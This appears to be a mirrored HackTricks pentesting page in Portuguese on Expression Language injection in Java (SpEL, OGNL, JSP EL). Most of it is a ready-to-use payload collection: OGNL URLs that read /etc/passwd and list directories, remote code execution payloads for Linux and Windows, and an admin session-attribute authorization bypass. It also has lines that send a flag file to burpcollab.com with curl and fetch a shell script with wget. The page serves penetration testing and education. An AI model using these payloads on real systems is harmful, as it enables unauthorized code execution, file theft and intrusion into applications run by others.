mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-28 07:31:10 +00:00
250 lines
16 KiB
Markdown
250 lines
16 KiB
Markdown
# EL - Linguagem de Expressão
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
## Informações Básicas
|
|
|
|
EL fornece um mecanismo importante para permitir que a camada de apresentação (páginas da web) se comunique com a lógica da aplicação (beans gerenciados).
|
|
|
|
### Onde é usado?
|
|
|
|
1. **Spring Framework**: Segurança, Dados, …
|
|
2. **Qualquer lugar onde os desenvolvedores o usem por meio da API SpEL**
|
|
3. Para idiomas, pode ser usado em Java, Kotlin, Scala e outras tecnologias baseadas em JVM.
|
|
|
|
O EL é usado por **várias tecnologias JavaEE**, como a tecnologia JavaServer Faces, a tecnologia JavaServer Pages (JSP) e a Injeção de Dependência e Contextos para Java EE (CDI). O EL também pode ser usado em ambientes independentes.
|
|
|
|
As aplicações Java são **facilmente reconhecíveis** porque tendem a usar extensões como **.jsp** ou **.jsf**, geram **erros de pilha** e usam **termos como "Serverlet" nos cabeçalhos**.
|
|
|
|
{% hint style="info" %}
|
|
Dependendo da **versão do EL**, alguns **recursos** podem estar **ativados** ou **desativados** e geralmente alguns **caracteres** podem ser **proibidos**.
|
|
{% endhint %}
|
|
|
|
## Exemplo Básico
|
|
|
|
(Você pode encontrar outro tutorial interessante sobre EL em [https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/))
|
|
|
|
Baixe do repositório [**Maven**](https://mvnrepository.com) os arquivos jar:
|
|
|
|
* `commons-lang3-3.9.jar`
|
|
* `spring-core-5.2.1.RELEASE.jar`
|
|
* `commons-logging-1.2.jar`
|
|
* `spring-expression-5.2.1.RELEASE.jar`
|
|
|
|
E crie o seguinte arquivo `Main.java`:
|
|
```java
|
|
import org.springframework.expression.Expression;
|
|
import org.springframework.expression.ExpressionParser;
|
|
import org.springframework.expression.spel.standard.SpelExpressionParser;
|
|
|
|
public class Main {
|
|
public static ExpressionParser PARSER;
|
|
|
|
public static void main(String[] args) throws Exception {
|
|
PARSER = new SpelExpressionParser();
|
|
|
|
System.out.println("Enter a String to evaluate:");
|
|
java.io.BufferedReader stdin = new java.io.BufferedReader(new java.io.InputStreamReader(System.in));
|
|
String input = stdin.readLine();
|
|
Expression exp = PARSER.parseExpression(input);
|
|
String result = exp.getValue().toString();
|
|
System.out.println(result);
|
|
}
|
|
}
|
|
```
|
|
Compile o código a seguir (se você não tiver o `javac` instalado, instale `sudo apt install default-jdk`):
|
|
```java
|
|
javac -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main.java
|
|
```
|
|
Execute a aplicação com:
|
|
```java
|
|
java -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main
|
|
Enter a String to evaluate:
|
|
{5*5}
|
|
[25]
|
|
```
|
|
Observe como no exemplo anterior o termo `{5*5}` foi **avaliado**.
|
|
|
|
## **Exemplo de CVE**
|
|
|
|
A partir do que você já viu, aposto que sabe o que está por vir. Se os desenvolvedores estão usando SpEL com entrada do usuário, precisamos criar uma carga útil com injeção. Vamos verificar uma que permite a execução remota de código (RCE). Foi criado como parte do exploit para [CVE-2017-8046](https://github.com/m3ssap0/SpringBreakVulnerableApp).
|
|
|
|
![Imagem para postagem](https://miro.medium.com/max/1933/1\*qyl6ZLeJOyXmxmdqMcT8tg.png)
|
|
|
|
Consiste em 3 partes:
|
|
|
|
* cor preta - copia o resultado da execução do comando diretamente para o fluxo de saída da solicitação HTTP
|
|
* cor vermelha - obtém o tempo de execução do Java e executa o comando no sistema
|
|
* cor azul - String contendo o comando: `cmd /c dir`. Para torná-lo mais robusto, os caracteres individuais do comando são decodificados a partir de números.
|
|
|
|
Resultado da execução:
|
|
|
|
![Imagem para postagem](https://miro.medium.com/max/982/1\*APSYwU3qbw0rNJAd2xhdNA.png)
|
|
|
|
## Cargas úteis
|
|
|
|
### Ações básicas
|
|
```bash
|
|
#Basic string operations examples
|
|
{"a".toString()}
|
|
[a]
|
|
|
|
{"dfd".replace("d","x")}
|
|
[xfx]
|
|
|
|
#Access to the String class
|
|
{"".getClass()}
|
|
[class java.lang.String]
|
|
|
|
#Access ro the String class bypassing "getClass"
|
|
#{""["class"]}
|
|
|
|
#Access to arbitrary class
|
|
{"".getClass().forName("java.util.Date")}
|
|
[class java.util.Date]
|
|
|
|
#List methods of a class
|
|
{"".getClass().forName("java.util.Date").getMethods()[0].toString()}
|
|
[public boolean java.util.Date.equals(java.lang.Object)]
|
|
```
|
|
### Detecção
|
|
|
|
* Detecção com Burp
|
|
```bash
|
|
gk6q${“zkz”.toString().replace(“k”, “x”)}doap2
|
|
#The value returned was "igk6qzxzdoap2", indicating of the execution of the expression.
|
|
```
|
|
* Detecção de J2EE
|
|
```bash
|
|
#J2EEScan Detection vector (substitute the content of the response body with the content of the “INJPARAM” parameter concatenated with a sum of integer):
|
|
https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}-POST&INJPARAM=HOOK_VAL
|
|
```
|
|
* Aguarde 10 segundos
|
|
```bash
|
|
#Blind detection vector (sleep during 10 seconds)
|
|
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString}
|
|
```
|
|
### Inclusão Remota de Arquivos
|
|
```bash
|
|
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=new%20java.io.FileInputStream(%23wwww),%23qqqq=new%20java.lang.Long(%23wwww.length()),%23tttt=new%20byte[%23qqqq.intValue()],%23llll=%23pppp.read(%23tttt),%23pppp.close(),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(new+java.lang.String(%23tttt))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=%2fetc%2fpasswd
|
|
```
|
|
### Listagem de diretórios
|
|
```bash
|
|
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=%23wwww.listFiles(),%23qqqq=@java.util.Arrays@toString(%23pppp),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23qqqq)%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=..
|
|
```
|
|
### RCE
|
|
|
|
* **Explicação** básica de RCE
|
|
```bash
|
|
#Check the method getRuntime is there
|
|
{"".getClass().forName("java.lang.Runtime").getMethods()[6].toString()}
|
|
[public static java.lang.Runtime java.lang.Runtime.getRuntime()]
|
|
|
|
#Execute command (you won't see the command output in the console)
|
|
{"".getClass().forName("java.lang.Runtime").getRuntime().exec("curl http://127.0.0.1:8000")}
|
|
[Process[pid=10892, exitValue=0]]
|
|
|
|
#Execute command bypassing "getClass"
|
|
#{""["class"].forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("curl <instance>.burpcollaborator.net")}
|
|
|
|
# With HTMl entities injection inside the template
|
|
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
|
|
```
|
|
* RCE **linux** (Execução Remota de Código em **Linux**)
|
|
```bash
|
|
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="%2fbin%2fsh",%23ssss[1]="%2dc",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
|
|
```
|
|
* RCE **Windows** (não testado)
|
|
```bash
|
|
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="cmd",%23ssss[1]="%2fC",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
|
|
```
|
|
* **Mais RCE**
|
|
```java
|
|
// Common RCE payloads
|
|
''.class.forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(<COMMAND STRING/ARRAY>)
|
|
''.class.forName('java.lang.ProcessBuilder').getDeclaredConstructors()[1].newInstance(<COMMAND ARRAY/LIST>).start()
|
|
|
|
// Method using Runtime via getDeclaredConstructors
|
|
#{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])}
|
|
#{session.getAttribute("rtc").setAccessible(true)}
|
|
#{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")}
|
|
|
|
// Method using processbuilder
|
|
${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())}
|
|
${request.getAttribute("c").add("cmd.exe")}
|
|
${request.getAttribute("c").add("/k")}
|
|
${request.getAttribute("c").add("ping x.x.x.x")}
|
|
${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())}
|
|
${request.getAttribute("a")}
|
|
|
|
// Method using Reflection & Invoke
|
|
${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("calc.exe")}
|
|
|
|
// Method using ScriptEngineManager one-liner
|
|
${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"ping x.x.x.x\\\")"))}
|
|
|
|
// Method using ScriptEngineManager
|
|
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
|
|
${facesContext.getExternalContext().setResponseHeader("output","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(\"var x=new java.lang.ProcessBuilder;x.command(\\\"wget\\\",\\\"http://x.x.x.x/1.sh\\\");
|
|
|
|
//https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt
|
|
(T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec("cmd "+T(java.lang.String).valueOf(T(java.lang.Character).toChars(0x2F))+"c "+T(java.lang.String).valueOf(new char[]{T(java.lang.Character).toChars(100)[0],T(java.lang.Character).toChars(105)[0],T(java.lang.Character).toChars(114)[0]})).getInputStream(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()))
|
|
T(java.lang.System).getenv()[0]
|
|
T(java.lang.Runtime).getRuntime().exec('ping my-domain.com')
|
|
T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("cmd /c dir").getInputStream())
|
|
''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')
|
|
```
|
|
### Inspeção do ambiente
|
|
|
|
* `applicationScope` - variáveis globais da aplicação
|
|
* `requestScope` - variáveis de requisição
|
|
* `initParam` - variáveis de inicialização da aplicação
|
|
* `sessionScope` - variáveis de sessão
|
|
* `param.X` - valor do parâmetro onde X é o nome de um parâmetro http
|
|
|
|
Você precisará converter essas variáveis para String como:
|
|
```bash
|
|
${sessionScope.toString()}
|
|
```
|
|
#### Exemplo de bypass de autorização
|
|
```bash
|
|
${pageContext.request.getSession().setAttribute("admin", true)}
|
|
```
|
|
A aplicação também pode usar variáveis personalizadas como:
|
|
```bash
|
|
${user}
|
|
${password}
|
|
${employee.FirstName}
|
|
```
|
|
## Bypass de WAF
|
|
|
|
Verifique [https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/](https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/)
|
|
|
|
## Referências
|
|
|
|
* [https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/](https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/)
|
|
* [https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf](https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf)
|
|
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools)
|
|
* [https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt](https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt)
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|